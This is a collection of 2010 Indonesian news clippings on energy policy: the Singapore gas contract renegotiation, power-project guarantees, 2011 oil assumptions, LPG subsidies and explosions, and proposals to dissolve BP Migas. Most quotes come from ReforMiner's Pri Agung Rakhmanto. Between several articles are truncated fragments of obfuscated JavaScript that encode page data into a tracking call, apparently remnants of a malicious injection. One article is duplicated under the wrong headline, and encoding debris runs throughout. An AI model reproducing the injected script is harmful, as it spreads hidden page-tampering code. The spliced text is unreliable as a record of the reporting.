Proses renegosiasi gas ke Singapura disorot

Bisnis Indonesia,A�26 Agustus 2010

JAKARTA: Pemerintah dinilai tidak memiliki kemauan politik untuk merenegosiasi kontrak gas dari Grissik ke Singapura.

Pasalnya, keinginan untuk mengamankan pasokan gas ke domestik melalui pipa South Sumatera West Java itu hingga kini masih berupa rencana.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto menegaskan renegosiasi kontrak gas tersebut jelas menjadi domainnya Kementerian Energi dan Sumber Daya Mineral (ESDM), bukan Kementerian BUMN.

SAA [sales appointed agreement] kontrak gas itu kan ditandatangani oleh Menteri ESDM. Kalau Menteri BUMN [yang akan renegosiasi], saya tidak tahu di mana relevansinya. Kalau begini, pemerintah sebenarnya tidak ada kemauan politik untuk renegosiasi tersebut, A�katanya hari ini.

Dia mencontohkan untuk proses renegosiasi kontrak yang memang sudah dimungkinkan dilakukan seperti gas Tangguh, sampai kini tidak pernah terealisasi. A�Apalagi yang kita belum tahu seperti kontrak gas Singapura ini, A�tutur Pri.Terkait dengan penyerahan proses renegosiasi kepada Kementerian BUMN, Anggota Komisi VII DPR Satya W. Yudha menegaskan Presiden seharusnya meminta Menteri ESDM atas nama pemerintah untuk melakukan proses renegosiasi kontrak gas tersebut.

DPR mendesak pemerintah agar satu sikap dalam renegosiasi gas ke Singapura, mengingat kontrak tersebut dahulunya ditandatangani dalam kaitan bilateral antarkedua negara, A�tutur Satya.

Menurut dia, pemerintah seharusnya mampu mengetuk hati Pemerintah Singapura dalam merevisi kontrak gas tersebut, sehingga bisa mengatasi kesulitan pemenuhan gas di dalam negeri, terutama bagi kebutuhan listrik nasional.

Makanya pemerintah harus menghormati setiap kontrak yang dibuat untuk negosiasi tersebut dengan menggunakan hubungan bilateral, A�papar Satya.(jha)

 

Adanya Penjaminan Pemerintah Dikritik

Kompas, 26 Agustus 2010

Jakarta, Kompas – Menteri Keuangan Agus Martowardojo mengkritik pemberian jaminan pemerintah pada proyek 10.000 megawatt, yang bernilai total 8 miliar dollar AS atau sekitar Rp 72,8 triliun. Penjaminan tidak perlu diberikan jika kebijakan tarif listrik tidak diatur pemerintah.

Sebetulnya, jika struktur biayanya dapat dibuat lebih baik dan dapat diterima di pasar (kalangan investor), tidak perlu ada penjaminan pemerintah, A�kata Menkeu di Jakarta, Rabu (25/8), seusai Rapat Kerja Komisi XI DPR dengan Menteri Keuangan.

Menurut Agus, sebagai Menkeu, ia keberatan dengan struktur penjaminan seperti itu. Namun, ia menyadari kondisi keuangan PLN tak memungkinkan menyelesaikan proyek 1.000 MW bila tidak diberi penjaminan.

Rapat Kerja Komisi XI DPR membahas Surat Menteri Keuangan No S-269/MK.011/2010 tentang Penyertaan Modal Negara pada PT Sarana Multi Infrastruktur, PT Askrindo, Perum Jamkrindo, Badan Pengatur Jalan Raya, dan PT Penjamin Infrastruktur Indonesia (PII).

Penyertaan modal negara untuk PII merupakan salah satu yang krusial. BUMN bentukan Kementerian Keuangan ini mengemban tugas memberikan penjaminan bagi proyek infrastruktur strategis, termasuk pembangkit listrik.

Oleh karena itu, Agus menegaskan, penguatan modal PII sangat dibutuhkan untuk memperkuat kredibilitas PII di mata calon investor. Sesuai anggaran dasar PT PII, modal dasar perseroan ditetapkan Rp 4 triliun.

Namun, pada tahun 2010, PII baru akan mendapatkan modal Rp 1 triliun. Modalnya akan ditambah lagi Rp 1 triliun pada tahun 2011, demikian seterusnya hingga modal dasar PII Rp 4 triliun terpenuhi.

Ingin kejelasan

Menurut Agus, sebagian besar investor sektor kelistrikan ingin kejelasan soal tarif listrik. Hingga kini, tarif listrik diatur pemerintah sehingga investor hanya mau menanamkan modal jika ada jaminan dari pemerintah.

Pada proyek 10.000 MW pertama, penjaminan diberikan pemerintah melalui APBN. Ini membuat risiko yang ditanggung negara terlalu besar. Dengan ada PT PII, risikonya beralih dari pemerintah ke PII, A�ujarnya.

Menurut Direktur EksekutifA�Reforminer InstituteA�(Lembaga Kajian Reformasi Pertambangan dan Energi) Priagung Rahmanto, jika pemerintah tidak memberikan penjaminan, risiko yang harus ditanggung negara akan lebih besar. Risiko itu berupa tertunda atau batalnya pembangunan infrastruktur.Priagung mengingatkan, untuk pengamanan pasokan listrik, pemerintah hendaknya tidak hanya melihat dari sisi keuangan, tetapi juga keamanan pasokan energi nasional. A�Kalau tak ingin kekurangan listrik, pemerintah mau ada di posisi mana A�Apakah membangun sendiri atau melalui investor dengan menyediakan penjaminan, A�tuturnya.

Selama masih bergantung kepada investor dalam membangun infrastruktur besar, jaminan pemerintah tetap diperlukan. Tanpa penjaminan, kepastian pendanaan sulit didapat. A�Memang benar jika tarif listrik sudah sesuai harga pasar, kebutuhan pada penjaminan pemerintah akan lebih rendah. Namun, bukan berarti tidak dibutuhkan, A�kata Priagung. (OIN)

 

Asumsi Harga Minyak 2011 Cukup Realistis

Media Indonesia, 23 Agustus 2010

JAKARTA–MI: Pengamat energi dari ReforMiner Institute, Pri Agung Rakhmanto mengatakan, asumsi harga minyak mentah dalam RAPBN 2011 yang ditetapkan sebesar US$80 per barel, cukup realistis. “Dengan informasi yang ada saat ini, harga minyak US$80 cukup aman,” katanya di Jakarta, Minggu (22/8).

Meski, lanjutnya, kemungkinan kisaran harga minyak pada 2011 cenderung antara US$70-80 per barel. Mengenai asumsi produksi atau lifting minyak RAPBN 2011 sebesar 970 ribu barel per hari, Pri Agung mengatakan, target tersebut mencerminkan tidak adanya perubahan substansial di sektor minyak dan gas bumi.

Menurut dia, pencapaian target tersebut tergantung realisasi sampai akhir tahun ini. “Kalau pemerintah mampu mencapai target APBN Perubahan 2010 sebesar 965 ribu barel per hari, maka asumsi 970 ribu barel per hari akan menjadi masuk akal,” katanya. Namun sebaliknya, kalau realisasi 2010 hanya di bawah 960 ribu barel per hari, maka tahun depan sulit mencapai 970 ribu barel per hari. “Target 970 ribu sulit tercapai, karena hanya mengandalkan optimalisasi dari lapangan existing,'” katanya.

Presiden Susilo Bambang Yudhoyono sudah menyampaikan asumsi harga dan produksi minyak bersama asumsi makro RAPBN 2011 lainnya dalam rapat paripurna DPR, Senin (16/8) lalu. Asumsi tersebut selanjutnya akan dibahas antara pemerintah dan komisi DPR terkait dalam rapat-rapat kerja, sebelum ditetapkan sebagai UU APBN. (Ant/OL-9)

2[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pemerintah tak Punya Kemauan Benahi Kelistrikan

Media Indonesia, 23 Agustus 2010 JAKARTA–MI:

Pengamat energi dariA�ReforMiner Institute,A�Pri Agung Rakhmanto mengatakan, asumsi harga minyak mentah dalam RAPBN 2011 yang ditetapkan sebesar US$80 per barel, cukup realistis. “Dengan informasi yang ada saat ini, harga minyak US$80 cukup aman,” katanya di Jakarta, Minggu (22/8).

Meski, lanjutnya, kemungkinan kisaran harga minyak pada 2011 cenderung antara US$70-80 per barel. Mengenai asumsi produksi atau lifting minyak RAPBN 2011 sebesar 970 ribu barel per hari, Pri Agung mengatakan, target tersebut mencerminkan tidak adanya perubahan substansial di sektor minyak dan gas bumi.

Menurut dia, pencapaian target tersebut tergantung realisasi sampai akhir tahun ini. “Kalau pemerintah mampu mencapai target APBN Perubahan 2010 sebesar 965 ribu barel per hari, maka asumsi 970 ribu barel per hari akan menjadi masuk akal,” katanya.

Namun sebaliknya, kalau realisasi 2010 hanya di bawah 960 ribu barel per hari, maka tahun depan sulit mencapai 970 ribu barel per hari. “Target 970 ribu sulit tercapai, karena hanya mengandalkan optimalisasi dari lapangan existing,'” katanya.Presiden Susilo Bambang Yudhoyono sudah menyampaikan asumsi harga dan produksi minyak bersama asumsi makro RAPBN 2011 lainnya dalam rapat paripurna DPR, Senin (16/8) lalu. Asumsi tersebut selanjutnya akan dibahas antara pemerintah dan komisi DPR terkait dalam rapat-rapat kerja, sebelum ditetapkan sebagai UU APBN.

d052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pengamat Meragukan Keseriusan Pemerintah Menyelesaikan Masalah Elpiji

Republika, 12 Agustus 2010

JAKARTA–Berlarutnya penyelesaian maalah elpiji 3 kg oleh pemerintah mengundang sikap pesimistis dari sejumlah kalangan. Direktur EksekutifA�ReforMiner Institute, Pri Agung Rakhmanto bahkan meragukan kesungguhan pemerintah dalam menyelsaikan masalah ini. Khususnya terkait penanganan masalah pengoplosan dan disparitas harga elpiji. ”Saya tidak tahu istilah yang pas apa, tapi saya ragu dengan keseriusan dan kesungguhan pemerintah dalam hal ini,”kata Pri saat dihubungi Republika, Kamis (12/8).

Menurut Pri, dengan terbentuknya tim gabungan yang dipimpin Menko Kesra, semestinya tidak bisa lagi bilang bahwa pengoplosan urusan polisi. ”Itu ya jadi urusan tim gabungan ini sekarang. Bagaimana dikoordinasikan dan diatasi dengan tindakan konkrit,” kata dia.

Pri mengaku heran dengan langkah lamban pemerintah. ”Untuk masalah yang sudah sedemikian penting saja actionnya lambat sekali,” kata dia. Pun begitu, kata Pri Agung, ada satu pertanyaan yang belum terjawab saat ini yakni apa benar penyebab utama ledakan karena pengoplosan dan disparitas itu A�dan bukan karena tabung serta asesoris yang tidak sesuai standar

”Kalau oplos, bukannya tabung 12 kg dari dulu juga banyak yang dikurangi isinya juga, kok tidak banyak kasus yang meledak seperti yang 3 kg ,” kata Pri. Kalaupun dioplos, lanjut dia, bukannya seharusnya bisa diketahui pada saat isi ulang.Pri Agung mengingatkan, jangan sampai masalah ledakan ini diarahkan penyelesaiannya hanya pada masalah disparitas saja, apalagi dengan lalu mensubsidi elpiji 12 kg. ”Lalu yang mestinya dilakukan dulu yaitu penarikan tabung dan aksesoris yang tidak standar malah tidak dilakukan,” kata dia mengingatkan.

Subsidi elpiji 12 kg langkah mundur

Bisnis Indonesia, 11 Agustus 2010

JAKARTA: Wacana pemberian subsidi elpiji 12 kg dalam rangka menekan kasus kecelakaan yang diduga karena disparitas harga terlalu tinggi dengan elpiji 3 kg dinilai sebagai langkah mundur pemerintah.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto menegaskan sebagian besar masyarakat pengguna tabung elpiji 12 kg merupakan golongan menengah ke atas sehingga tidak layak mendapatkan subsidi.

Pemerintah jangan mau instan dan populis saja. Menjadikan elpiji 12 kg barang subsidi adalah langkah mundur pemerintah. Di saat semua pihak sedang berupaya mengurangi subsidi, kenapa malah menambah beban subsidi dengan 12 kg, A�katanya, hari ini.

Menurut dia, disparitas harga elpiji di dalam dengan luar negeri akan tetap ada dan semakin besar, sehingga makin membuka celah penyelundupan ke luar negeri.

Pri Agung menjelaskan keinginan menyubsidi elpiji 12 kg malah akan menjadi bom waktu bagi pemerintah dan perekonomian nasional karena semakin lama beban subsidi semakin bertambah.

“Itu artinya, makin membuat negeri ini tidak kunjung beranjak mengurusi masalah subsidi harga energi,” katanya.Di sisi lain, paparnya, opsi pemberian kupon bagi pengguna elpiji 3 kg juga tidak mudah dan hampir dipastikan akan menimbulkan banyak persoalan karena tidak tepat sasaran pada awal implementasi.

Namun, patut diperhatikan di negara maju pun demikian. Hanya, mereka [negara maju] terus memperbaiki sistem dan mekanismenya dari waktu ke waktu secara konsisten, ketimbang memilih cara-cara yang instan,” tutur Pri Agung.(jha)

 

BP Migas dan BPH Migas diusulkan dibubarkan

Bisnis Indonesia,A�10 Agustus 2010

JAKARTA: Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) dan Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) dinilai sebaiknya ditiadakan karena tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto mengatakan kewenangan usaha migas seharusnya diberikan kepada perusahaan migas negara, untuk selanjutnya dapat bekerja sama dengan perusahaan migas multinasional.

Meniadakan BP Migas sesungguhnya merupakan suatu kebutuhan untuk menempatkan kembali sesuatu agar sesuai dengan kedudukan, tugas, dan fungsi semestinya sebagai ladasan pengelolaan migas yang benar dan konsekuen sesuai dengan Pasal 33 UUD 1945, A�katanya, hari ini.

Menurut dia, kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional memang seharusnya diberikan kepada badan usaha milik negara (BUMN), bukan badan atau aparat pemerintah.

Dia menjelaskan perusahaan BUMN juga dapat bekerja sama dengan badan usaha lainnya seperti yang dilakukan di sejumlah negara, seperti Malaysia (Petronas), Filipina (PNOC), Vietnam (Petrovietnam), China (CNPC, Sinopec, CNOOC, Petrochina), Norwegia (StatOilHydro), Qatar (QP), Iran (NIOC), Libya (NOC), dan Korea Selatan (KNOC).Pri Agung menilai tidak tepat apabila BP Migas dianggap sebagai regulator dan sekaligus pengawas karena pada dasarnya lembaga itu melakukan kontrak usaha dengan kontraktor migas yang kemudian juga diawasinya.

Sementara itu, Menteri Energi dan Sumber Daya Mineral (ESDM) Darwin Zahedy Saleh mengatakan pemerintah berkeinginan lebih mengoptimalkan peran dan tugas BP Migas dan BPH Migas daripada membubarkannya.

Kami memang belum ada di posisi yang mana, tetapi lebih bagus mengoptimalkan yang ada, A�katanya.(jha)

 

Sektor Energi Butuh Cetak Biru

Republika, 9 Agustus 2010

JAKARTA–Direktur EksekutifA�Refor-Miner Institute,A�Pri Agung Rakhmanto menilai tata pengelolaan sektor energi nasional sudah rentan sejak lama. Menurutnya, kerentanan dan kerapuhan energi nasional tersebut dikarenakan tidak adanya cetak biru atau blue print sektor energi yang konkret.

Bahkan, ia menyarankan agar petinggi di kementerian energi sebaiknua dijabat oleh seseorang yang benar memahami peta permasalahan energi. “Sudah lama sekali sektor energi nasional tidak dikelola dengan sungguh-sungguh. Hal ini dikarenakan kita tidak memiliki cetak biru sektor energi yang konkret dan memadai. Jadi, dari tahun ke tahun tidak terlihat adanya progress terkait masalah energi nasional,” terang Pri Agung kepada Republika di Jakarta.

Untuk itu, ia berharap pemerintah menaruh perhatian penuh atas masalah nasional ini. Jika cetak biru energi ada di tangan pemerintah, Pri Agung meyakini permasalahan energi yang ada satu per satu bisa terpecahkan. Selain itu, ia juga mengutarakan dalam hal jajaran pemimpin sektor energi, termasuk menteri, sebaiknya dijabat oleh seseorang yang memahami masalah energi keseluruhan.

“Kita butuh seorang menteri atau leader yang betul-betul memahami masalah energi. Sehingga ia berani mengambil atau mengeksekusi keputusan untuk diaplikasikan dalam program kerjanya. Jadi, ia memahami betul peta permasalahan, tidak perlu masukan dari lingkungan sekitarnya,” pungkasnya.

052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Persoalan Ledakan Gas Jangan Direduksi

Kompas,A�3 Agustus 2010

Jakarta, Kompas – Masalah ledakan elpiji diharapkan tidak direduksi hanya karena disparitas harga elpiji bersubsidi dan nonsubsidi. Pemerintah tetap harus menuntaskan penarikan tabung dan aksesorinya yang tidak memenuhi standar serta mengatasi praktik pengoplosan.

Ini lebih ke masalah pengawasan dan penegakan hukum yang lemah, bukan hanya masalah disparitas harga, A�kata Direktur EksekutifA�Lembaga Kajian Reformasi Pertambangan dan EnergiA�Pri Agung Rakhmanto, Senin (2/8) di Jakarta.

Karena itu, persoalan ledakan elpiji ini diharapkan tidak direduksi sebatas disparitas harga. Artinya, apa yang sudah diwacanakan, seperti penarikan tabung dan aksesorinya yang tidak memenuhi standar dan ilegal, termasuk pengoplosan, harus dilakukan dulu secara tuntas. Menteri Koordinator Kesejahteraan Rakyat Agung Laksono sebelumnya menyatakan, ada tiga opsi untuk mengatasi perbedaan harga. Pertama, harga elpiji kemasan 12 kg diturunkan. Kedua, harga elpiji 3 kg dinaikkan dan rakyat miskin diberi kupon agar bisa menjangkau harga itu. Ketiga, harga elpiji 12 kg diturunkan sedikit dan harga elpiji 3 kg dinaikkan sedikit agar harganya setara.

Menanggapi opsi-opsi itu, Pri Agung berpendapat opsi kupon yang paling baik karena paling mendekati sistem subsidi langsung. A�Yang harus dilakukan dulu adalah mendata masyarakat miskin secara benar, lalu mendesain sistem dan mekanisme pendistribusiannya serta cara menggunakannya. Implementasinya tak mudah, tetapi harus dilakukan kalau ingin masalah ini teratasi, A�ujar dia. Ditegaskan, disparitas harga hanya bisa diatasi dengan menggantinya ke sistem subsidi langsung kepada yang berhak. Oleh karena itu, data penduduk miskin harus dibenahi. A�Kalau tidak, akar masalah subsidi tidak terselesaikan dengan tuntas, A�ujar Pri Agung.

Sosialisasi

Secara terpisah, Sekretaris Menko Kesra Indroyono mengakui, sosialisasi penggunaan elpiji 3 kg yang aman perlu lebih digencarkan. Selama ini sosialisasi sudah berjalan, tetapi masing-masing kementerian teknis terkait masih sibuk mengalokasikan anggarannya.

Untuk itu, rapat koordinasi teknis memutuskan, sosialisasi program konversi minyak tanah ke elpiji, terutama penggunaan elpiji 3 kg yang aman, dipimpin Kementerian Energi dan Sumber Daya Mineral (ESDM). A�Anggarannya sudah keluar untuk program sosialisasi sampai Desember, A�kata dia.

Kegiatan sosialisasi, kata Indrojono, melibatkan semua kementerian terkait, antara lain Kementerian Dalam Negeri serta Kementerian Negara Pemberdayaan Perempuan dan Perlindungan Anak; PT Pertamina selaku pemasok elpiji 3 kg; serta pemerintah daerah setempat.

Pengurus Yayasan Lembaga Konsumen Indonesia, Huzna Zahir, menilai, pemerintah lamban dalam sosialisasi tata cara pemakaian elpiji 3 kg yang aman, termasuk tentang masa pakai serta kelaikan tabung dan aksesorinya. A�Seharusnya pemerintah memeriksa kondisi paket perdana konversi ke komunitas, A�ujar Huzna.

Menurut pengajar Sosiologi Fakultas Hukum Universitas Indonesia, Edie Toet Hendratno, sosialisasi sebaiknya tidak hanya mengajarkan cara pakai elpiji, tetapi juga mengajak masyarakat mengubah pola hidup, dari pemakai minyak tanah ke pengguna elpiji. Karakteristik masyarakat yang berbeda-beda harus dipertimbangkan.

Sosialisasi gas di Jakarta, misalnya, akan lebih mengena jika langsung ke permukiman padat. Lebih dari 20 persen warga Jakarta hidup di permukiman padat di gang sempit.

Katanya kalau ada tanda gas bocor, seperti bau menyengat, segera bawa tabung gas ke tempat terbuka. Di sini, tempat terbukanya mana. Semuanya gang sempit, A�kata Nurdin, penghuni Kampung Pucung, Pejaten Timur, Jakarta Selatan.

Melihat kenyataan itu, kata Edie, seharusnya dalam setiap program yang mengubah pola hidup masyarakat harus diperhatikan aspek sosial, ekonomi, teknik, dan budaya. A�Konversi energi ini tak bisa sembarangan diterapkan, A�kata Edie.

 

Elpiji 12 Kg Tak Layak Disubsidi

Detik.com, 2 Agustus 2010

Jakarta – Elpiji 12 Kg tidak mungkin disubsidi karena akan menambah beban keuangan negara. Apalagi elpiji ini digunakan oleh masyarakat mampu sehingga tidak layak disubsidi.

“Elpiji 3 Kg tidak bisa disubsidi. DPR tidak akan setuju karena ini akan membuat subsidi dalam APBN semakin membengkak,” ujar anggota Komisi VII DPR, Dito Ganinduto saat berbindang dengan detikFinance, Senin (2/8/2010).

Sebelumnya, Direktur Pertamina (Persero) Karen Agustiawan mengusulkan agar elpiji isi 12 kilogram ikut disubsidi pemerintah. Usulan ini disampaikan untuk menekan tingginya disparitas harga antara elpiji 3 Kg dengan 12 Kg sehingga tidak ada lagi pengoplosan.

Dito menjelaskan, pengoplosan tidak hanya dicegah dengan memberikan subsidi ke elpiji 12 Kg. Menurutnya, hal terpenting untuk mencegah pengoplosan adalah peningkatan pengawasan dari pihak kementerian perdagangan dan juga aparat kepolisian.

“Selain itu, sosialisasi mengenai bahaya pengoplosan juga harus gencar dilakukan pemerintah dan Pertamina,” ungkapnya.

Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto mengakui, status elpiji 12 Kg memang tidak jelas. Di satu sisi, pemerintah tidak memberikan subsidi terhadap elpiji ukuran ini. Tapi di sisi lain, harganya tidak bisa dinaikkan begitu saja sehingga Pertamina terus merugi.

Baca Selengkapnya